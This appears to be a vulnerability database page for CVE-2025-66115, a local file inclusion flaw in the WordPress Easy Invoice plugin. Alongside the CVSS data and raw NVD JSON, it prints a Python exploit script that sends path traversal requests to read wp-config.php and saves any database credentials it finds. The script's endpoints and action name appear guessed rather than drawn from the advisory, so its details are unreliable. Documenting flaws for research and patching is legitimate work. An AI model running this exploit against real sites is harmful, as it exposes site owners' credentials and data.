Security Vulnerability Report
中文
CVE-2025-66115 CVSS 6.6 MEDIUM

CVE-2025-66115

Published: 2025-11-21 13:15:53
Last Modified: 2026-04-27 18:16:37

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in MatrixAddons Easy Invoice easy-invoice allows PHP Local File Inclusion.This issue affects Easy Invoice: from n/a through <= 2.1.4.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Easy Invoice <= 2.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66115 PoC - WordPress Easy Invoice LFI # Target: WordPress site with Easy Invoice plugin <= 2.1.4 target = "http://target-wordpress-site.com" # LFI payload to read wp-config.php lfi_payload = "../../../../../../wp-config.php" # Common vulnerable endpoints vulnerable_paths = [ "/wp-admin/admin-ajax.php", "/wp-content/plugins/easy-invoice/includes/file.php", "/wp-content/plugins/easy-invoice/ajax.php" ] # Check each potential endpoint for path in vulnerable_paths: url = f"{target}{path}" params = { "action": "easy_invoice_file_include", "file": lfi_payload } try: response = requests.get(url, params=params, timeout=10) if "DB_NAME" in response.text or "DB_USER" in response.text: print(f"[!] Vulnerable endpoint found: {url}") print(f"[+] Extracted config content length: {len(response.text)}") # Save extracted content with open("extracted_config.txt", "w") as f: f.write(response.text) print("[+] Configuration saved to extracted_config.txt") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66115", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:53.440", "lastModified": "2026-04-27T18:16:36.743", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in MatrixAddons Easy Invoice easy-invoice allows PHP Local File Inclusion.This issue affects Easy Invoice: from n/a through <= 2.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-1-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}